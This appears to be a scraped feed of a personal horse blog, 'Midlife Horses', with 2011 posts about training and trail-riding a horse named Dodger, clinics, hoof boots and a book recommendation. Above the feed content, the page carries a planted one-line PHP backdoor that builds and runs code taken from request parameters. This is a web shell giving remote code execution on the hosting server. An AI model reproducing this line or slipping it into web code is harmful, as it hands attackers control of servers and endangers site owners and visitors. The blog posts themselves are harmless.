Midlife Horses | There's something about midlife women and horses.

if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['d2bc7cee51a67b1afd2c4f6de73d682a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Midlife Horses | There's something about midlife women and horses. http://www.midlifehorses.com Midlife is a good time to pick up dreams that got left behind. Sat, 04 Feb 2012 22:02:31 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 I’m taking over from here! http://www.midlifehorses.com/2011/11/im-taking-over-from-here/ http://www.midlifehorses.com/2011/11/im-taking-over-from-here/#comments Tue, 22 Nov 2011 18:03:45 +0000 mct http://www.midlifehorses.com/?p=926 [Read more...]]]>

It’s me, Dodger! I’m going to be doing the talking now. In an effort to become the celebrity athlete I always dreamed I could be, I’m taking over this website to tell my story. I’m all excited because a lot is happening right now and I’m going to have my own URL soon, but I can’t talk about it yet. Meanwhile, you can find me on Facebook under “The Artful Dodger–Opinionated Equine” to let me know you’re my friend, and you can like, see or buy my book here but I don’t want to get ahead of myself. Stay tuned!

]]> http://www.midlifehorses.com/2011/11/im-taking-over-from-here/feed/ 1 We share a language. http://www.midlifehorses.com/2011/10/we-share-a-language/ http://www.midlifehorses.com/2011/10/we-share-a-language/#comments Sat, 22 Oct 2011 21:48:01 +0000 mct http://www.midlifehorses.com/?p=922 [Read more...]]]>

It’s been almost five years since Dodger and I started down the same trail in life. I’ve tried to document our ups, downs, and all arounds as they happened in this blog, and enjoy seeing how far we’ve come. Although I see him every day and either ride or play with him at liberty, I’m noticing there aren’t a lot of new things to talk about. This blog may have run its course or maybe I’ll continue to add to it and just miss a month now and then. Not sure which.

I’m so pleased with how comfortable we are around each other now and how, when he’s scared, he wants to be with me but doesn’t run me over. We’ve come so far over the last two years, especially.

A friend commented the other day as she watched Dodger “talk” to me. He was backing up in the cross ties with an expectant look on his face. To someone else, it looked a little odd, but I knew he was telling me he wanted to leave. Because he used to be very bargey out of the cross ties (and many other places), I got into the habit of asking him to back up before he got what he wanted most. For example, he used to barge past me when we entered the arena. Now he stands and waits for me to open the gate, enter and say, “OK,” before he walks, calmly, into the arena. When I feed him his “soup” (alfalfa pellets, carrots and warm water–yum!) each day, he backs up clear to the other side of the stall from where his feed bucket hangs. I say, “Ears?” and he consciously works at rearranging his ears (his left takes more effort than his right–so cute). When both ears are straight up I say, “Wait,” as I pour the soup into his bucket. I turn and check to see that his ears are still up then say, “OK,” and step back. If I want to add something to the bucket and step toward it again, he turns his head away for me to do what I want. He’s very respectful.

We’ve come a long way, and it feels so good to understand and be understood.

]]> http://www.midlifehorses.com/2011/10/we-share-a-language/feed/ 0 Dodger reveals my M.O. http://www.midlifehorses.com/2011/09/dodger-reveals-my-m-o/ http://www.midlifehorses.com/2011/09/dodger-reveals-my-m-o/#comments Thu, 01 Sep 2011 19:07:32 +0000 mct http://www.midlifehorses.com/?p=917 [Read more...]]]>

If we take on the notion (just for grins, in case you think it’s too weird to swallow) that our horses pick us in life to mirror us…what do I see in my mirror? [punch to solar plexus] Unh-can’t breathe—An easily distracted toe dragger. Seriously?

Yes, I will admit I have Shiny Object Syndrome which prevents me from walking a straight line through any store or accomplishing a single task when there are so many others that look more fun. Do I want to shut this down in myself? Not really—at least not yet. So perhaps allowing some distracted weaving across the arena from Dodger is fair to mix in with his training as its own reward. But the toe dragger part really bugs me. It’s way more embarrassing to admit. But, I will say that based on results, neither one of us has any problem doing the Arab floaty trot (rising to the occasion) when the reward is obvious to us, but if repeated high stepping is required without the rewards? Well, we’re lucky to get clearance over some ground level cavalettis [get to the To Do list].

[lightbulb flickers] Okay, so this might be why multiple musical instrument and gym teachers gave up on me. I’m incorrigibly independent, know what I’m good at, not likely to suffer in order to get good at something that doesn’t come naturally, and I’ll never make it past January 3 on a New Year’s Resolution to work out. I’ll sweat for short-term reasons and big rewards.

Now that I have a half-ton mirror to show me what that looks like, I can either fight it (why?) or make the best of it. We’ll mix it up while learning new stuff, do more of what we’re naturally good at and enjoy, and be clear on what we value as rewards.

]]> http://www.midlifehorses.com/2011/09/dodger-reveals-my-m-o/feed/ 0 Who’s brave? Who’s sure? http://www.midlifehorses.com/2011/08/whos-brave-whos-sure/ http://www.midlifehorses.com/2011/08/whos-brave-whos-sure/#comments Wed, 24 Aug 2011 23:00:08 +0000 mct http://www.midlifehorses.com/?p=910 [Read more...]]]>

Pat Parelli is quoted as saying, “Your horse can only be as brave as you are.” Lots of ramifications there for this trail rider. Plus it reminds me of Harry Whitney asking his student at the clinic I recently attended, “Are you standing there hopin’ your horse is going to do what you just asked or do you know he’ll do it?”

How many times have I asked Dodger to do something and then stood there wondering how long I’m supposed to wait to see if he’ll do it before I give up and try something else…Wondering? How long? IF? Give up? Embarrassing on so many levels…yes it’s all part of learning and gaining confidence, but what a Catch-22 horses are. The times you have the least amount of confidence are the times you need it most.

I’m brave, I’m sure. No, I’m sure I’m brave. No, I’m sure and I’m brave. Okay, I’m workin’ on it.

Does your horse know you’re sure? Brave?

]]> http://www.midlifehorses.com/2011/08/whos-brave-whos-sure/feed/ 0 What are you thinking, Dodger? http://www.midlifehorses.com/2011/08/what-are-you-thinking-dodger/ http://www.midlifehorses.com/2011/08/what-are-you-thinking-dodger/#comments Thu, 18 Aug 2011 05:03:17 +0000 mct http://www.midlifehorses.com/?p=895 [Read more...]]]>

I spent the last 4 days at a Harry Whitney clinic in Cashmere, WA, learning the importance and benefits of recognizing, tracking and knowing how to change a horse’s thoughts so he’ll be receptive and responsive to cues, replacing any worry with calm and any resigned obedience with willingness. Harry refers to his approach as “with-you-ness.” Watching Harry with many different types of horses presenting a variety of issues revealed what a master he is at reading a horse’s mind—able to reach through anything from dullness to explosions with a feel and timing that’s inspiring. He revealed many benefits to horse and human when the human prioritizes her horse’s thoughts above any agenda she might have. If my horse’s feet want to go wherever his thoughts are, it’s pretty clear it’s in my best interest to keep his thoughts with me.

Additional benefits that motivate me are that as I help Dodger spend more time in an attentive yet relaxed state of mind, it increases my leadership quotient in his eyes and builds his desire to keep me around as much as possible because it feels safe to him. I’m good with that!

I will admit, because I have trouble keeping on top of my own thoughts, this new approach feels like I’m going to have to become the new micro manager in town…both of my own thoughts and Dodger’s, but I’m going to give it my best shot. Although it was no surprise to me that Dodger’s thoughts tend to manifest in resistance and a general lack of forwardness, Harry handed me some keys to unlock both that worked so quickly and effortlessly I was stunned. Finding the “go” button on a horse nicknamed Stoner is pretty exciting, but to see Dodger enjoy himself—and even ask for more—was downright thrilling.

Once Dodger become more “forward,” it translated quickly into easy upward transitions, including the canter! It helped to have a huge arena to get in some long straight runs, so we cantered every which way and Dodger was loving it. Great fun! And of course, once we got into it, his old reliable whoa seemed to be gone with the wind, so Harry helped me get it back with well-timed one-rein stops and back ups. Then later, very specific exercises called out while riding with the group increased my awareness dramatically of what each foot was doing.

Bottom line: I learned how often I’ve been releasing on the wrong syl-LA-ble and my laid-back, loosey-goosey approach to riding brings consequences I didn’t realize I was unintentionally choosing. Ugh. Sometimes awareness sucks because it feels like it comes with more “have-tos,” but in this case there’s a lot of upside for paying much better attention. Ya gotta want it, and I do.

]]> http://www.midlifehorses.com/2011/08/what-are-you-thinking-dodger/feed/ 0 Bridges, Bicycles, Bees, Boots and Being Alone http://www.midlifehorses.com/2011/08/bridges-bicycles-bees-boots-and-being-alone/ http://www.midlifehorses.com/2011/08/bridges-bicycles-bees-boots-and-being-alone/#comments Thu, 04 Aug 2011 00:31:16 +0000 mct http://www.midlifehorses.com/?p=890 [Read more...]]]>

Every trail ride seems to come with a set of challenges. Last Saturday’s was no exception. My husband accompanied me on his bicycle to wait with me at the trail head until my friend (who lives near the trail) arrived on his horse. After I was finished tacking up, my friend called to say he was starting his 30 minute ride toward us. Dodger was eager to check out the surroundings, so I thought I’d wait to put on his bridle and let him munch grass on the way over to where the trail begins. But Dodger was, for the first time in his life, more curious than hungry. He quickly decided I was not walking fast enough for his desired rate of discovery; he began to trot off, immune to all pressure on the halter’s knots across his nose and suddenly deaf to my WHOAs. Picture it: Stupid human, trying not to run while hanging on to a trotting horse from behind because running would only increase the horse’s speed. I had a flash of “what if I have to let go?” go through my brain, but quickly changed that thought to “YOU WILL STOP NOW, Dodger.”

I looped the (14′ foot) lead around his butt and headed him off into some bushes. Curiosity temporarily abated, the grass now looked good to him. I used the opportunity to insert a bit, snug up the saddle and get on. Now I’ve got a brake, a gas pedal and the wheels turn both ways with soft cues. We’re good. Memo to self: Curiosity better tackled from saddle.

As my husband took the slow “lead horse” position on his bicycle (Dodger is fine with bicycles), we rode without other horses for the first time. In about 15 minutes my friend rode into view. Dodger was happy to see another horse, and we proceeded down the trail. My husband was originally going to turn around at this point and ride home, but he decided to stay with us.

Between us and our destination were about 4 bridges. One, I knew, was very long and about 150′ up, tree-top height. Don’t look down. My friend’s horse is an old pro at bridges and I was pretty sure Dodger would take his cue from him. We got to the first bridge over a very loud series of tumbling waterfalls. We stood at the beginning of the bridge and listened for a minute before starting over. Dodger checked out where the noise was coming from, but didn’t seem too worried. We crossed.

Although several bicyclists passed us at a leisurely pace and Dodger was fine, they were now coming fast and furiously from in front and behind. My friend and I tried to get them all to say something before they whoosh by, but they don’t know trail etiquette from shinola and probably can’t hear us for the air rushing past their ears and the gravel crunching under their tires. They often say nothing, even though we’re waving and saying hi….HI…HI THERE! If they even look at us, some of their faces say, “stupid horse people–do they really think we want to chat? We’re in training here!” The only bicycle that Dodger looked a little sideways at was one pulling a kid in a covered trailer behind it. But we kept moving.

The rest of the bridges were a non issue, as it turned out, even the one at tree-top level. The next challenge, however, wasn’t. A non-issue, that is. A section of the trail was being defended by some very stubborn, if not angry, bees. We’d done nothing, of course, but they were tired of having their territory invaded by all the trail users. One bee started buzzing around Dodger’s head; Dodger wasn’t happy. Another showed up. Then a third. Although I had been trying to lightly shoo them away, my efforts were ineffective. Finally Dodger had had enough and went into evacuation mode. I was fine with that, but my challenge was to keep it a controlled evac. Can’t say I was 100% successful, but we made it out fine. Memo to self: Learn to control canter.

The final challenge came in the form of Dodger’s hi-tech, ballistic plastic Renegade boots. This was the first time I’d tried boots on his hind feet and since all 4 of Dodger’s hooves are very different—his fronts are 2 different platter shapes and the backs are oval and different—it’s difficult to make the boots fit equally snugly. My biggest challenge had previously been his right front with its conformational and placement oddities, but my inserts seemed to be doing the job there. Now his left rear, with no inserts, was twisting around. I had to get off and fix that one a couple of times, and that made me rethink the Renegade solution. At the very end of the ride, Dodger got into some deep dirt. One quick rotation on his right front and the boot spun half way around. Not good. So much for saving money on shoes…

After this trail ride, I started wondering if obstacle courses in relatively controlled environments would be a better idea for us…next summer, new plan.

]]> http://www.midlifehorses.com/2011/08/bridges-bicycles-bees-boots-and-being-alone/feed/ 0 Dodger finds his inner Andalusian http://www.midlifehorses.com/2011/07/dodger-finds-his-inner-andalusian/ http://www.midlifehorses.com/2011/07/dodger-finds-his-inner-andalusian/#comments Wed, 20 Jul 2011 07:02:54 +0000 mct http://www.midlifehorses.com/?p=888 [Read more...]]]>

Today Dodger and I played with the big squishy green ball in the indoor arena while our summer-averse town at the base of the mountains figures out whether it’s going to dish up another rainy day or just begin fall and be done with it. While wind pelted the arena roof with so many fir needles it sounded like rain, our ball game began: Touch the ball, get a “Good Boy!” Kick the ball, get a “Good Boy!” and a carrot. Kick the ball while trotting, neck arched, nostrils flared, ears perked and fully, happily, energetically engaged, and I throw my arms up in a GOAL! sort of way, yell “Yay, Dodger! You’re the smartest!” and hand out carrots while rubbing his neck! No kidding, there’s something about playing with that ball that got Dodger so enthused and energetic–when normally he’s such a sauntering “if I have to” or “whaddo I get for it” slug–that I witnessed his gorgeous inner Andalusian. So beautiful. I knew he had it in him!

So he’s obviously a game boy. Makes me want to play a 2-rider/horse game getting the ball over a center line in the arena X number of times in X number of minutes! Who wants to play?

]]> http://www.midlifehorses.com/2011/07/dodger-finds-his-inner-andalusian/feed/ 0 The kind of ground work I enjoy http://www.midlifehorses.com/2011/06/ground-work-i-enjoy/ http://www.midlifehorses.com/2011/06/ground-work-i-enjoy/#comments Fri, 10 Jun 2011 05:59:17 +0000 mct http://www.midlifehorses.com/?p=859 [Read more...]]]>

I Love watching these horses and Robin play (perfect music for it)!

If you want to see more of the ways she creates amazing partnerships with horses, here’s her website: www.libertyhorsetraining.com. She bases her work on Carolyn Resnick’s and is inspiring to both listen to and watch. I’ve added her to my list of people I’d like to see in person some day.

]]> http://www.midlifehorses.com/2011/06/ground-work-i-enjoy/feed/ 0 Controversial AND Great Book http://www.midlifehorses.com/2011/05/controversial-and-great-book/ http://www.midlifehorses.com/2011/05/controversial-and-great-book/#comments Wed, 25 May 2011 22:39:50 +0000 mct http://www.midlifehorses.com/?p=849 [Read more...]]]>

Well, I’ve been holding back the news about my part in helping an author in the UK—who I believe will hugely benefit horses and their humans around the world—get his book and message out. We’re still working on his new web site, but I can’t wait any longer to tell people. The book is discounted until everything’s in place. It’s called Revealing Your Hidden Horse: A Revolutionary Approach to Understanding Your Horse. The author, Mark Hanson, grew up as the son of a veterinarian, exposed daily to countless examples of complex human-animal interactions. He noticed that the vast majority of our relationships with our animals are defined by—and strongly biased in favor of—the humans. This awareness started him on a journey that has culminated in defining a revolutionary new approach for training and keeping horses which promotes and maintains equal benefits for both horse and human. As soon as I came across his blog and then had the opportunity to read his manuscript, there was no doubt in my mind I had to help this man.

While reading the book my thoughts went from interesting… to really? to no-way! to ok, embarrassed to wow, I gotta do this! And now, looking back on how he flipped a really comfortable switch in my thinking, he did it by taking me step-by-step through a bit of history (a little goes a long way with me), a few stories, a lot of horse behavior, just enough biology, and a whole mess of common sense. Remember when “breaking horses” changed to “gentling horses”? Well, this book will evolve the “gentling horses” paradigm just as much. It’s got that much influence potential for the industry.

I can’t wait for the web site to be done, but meanwhile, get the “>book on sale if this has piqued your interest even a little bit!

]]> http://www.midlifehorses.com/2011/05/controversial-and-great-book/feed/ 0 Bridges? Check. Streams? Half check. http://www.midlifehorses.com/2011/05/bridges-check-streams-half-check/ http://www.midlifehorses.com/2011/05/bridges-check-streams-half-check/#comments Fri, 06 May 2011 05:44:42 +0000 mct http://www.midlifehorses.com/?p=845 [Read more...]]]>

The last two weekends in a row were sunny. That never happens. Fortunately, though, Dodger and I were able to make hay while the sun shone, because our friend Chris invited us to join her on the Squawk Mountain trail that connects to her barn at Equinox Stable in Issaquah. The first ride was successful yet tense as I was way too preoccupied with anticipating all that could go wrong before it went wrong so it wouldn’t go wrong. The second time out, however, I knew it was possible for nothing to go wrong, so I anticipated nothing going wrong and it didn’t. I really like all such worrying to be behind me. Seemed to be one of those scaredy cat milestones I had to get past.

There was one dicey spot on the steep, muddy, narrow spur trail on the way to the main trail because it had a 12 inch rivulet crossing the mud that made noise, moved, appeared shiny and therefore looked just WrongWrongWrong to Dodger. Not going to cross it. Can’t make me. I’m turning around. No really, I am. You. Can’t. Make. Me. Cross. It.

So the first time, I believed him. I got off and bushwhacked along the uphill side of the trail as I led him across. It wasn’t pretty, but it worked. The second time, Chris and her sweet steed, Nikki, tried to pony him across. Good idea in theory, but when all forward motion stopped because Dodger again said NoWayNoHow and the lead came to its inevitable end, the mounting pressure on his poll from being connected to his halter caused him to take desperate measures and jump like it was 5 feet across. This only succeeded in burying his snout into poor Nikki’s posterior. And sweet, patient, understanding Nikki just stood there. Needless to say, discussion among the humans began immediately about what I might want to do differently next time.

Note to self: Absolutely no jumping allowed while ponying. Check.

But the good news was that Dodger had no problem walking over several narrow wooden bridges perched over noisy streams. And on the way back during the first ride, he even walked across one of the streams instead of taking the bridge. He had to be encouraged more than usual and I will say there was quite the hurried sense of urgency about his approach to crossing it, but he didn’t leap and he didn’t freak out. He just got it over with in a hurry. I can accept that.

Also, the first time out was way more ouchy for his bare feet than I’d hoped, so the second time I put his Renegade hoof boots on and he was a different, nimble horse. I can highly recommend them! He went from laggard to trying to pass the horse in front of him. That’s a first!

So all in all, it was a great pair of trail rides! I’m loving my new trailer, I’m loving the calm, curious horse that backs carefully and slowly out of it when we get to our destination, and I’m loving the horse I saddle up easily, hop on and move out with.

I do declare I have myself not just a trail horse, but a darn good trail horse. He seems to be a natural.

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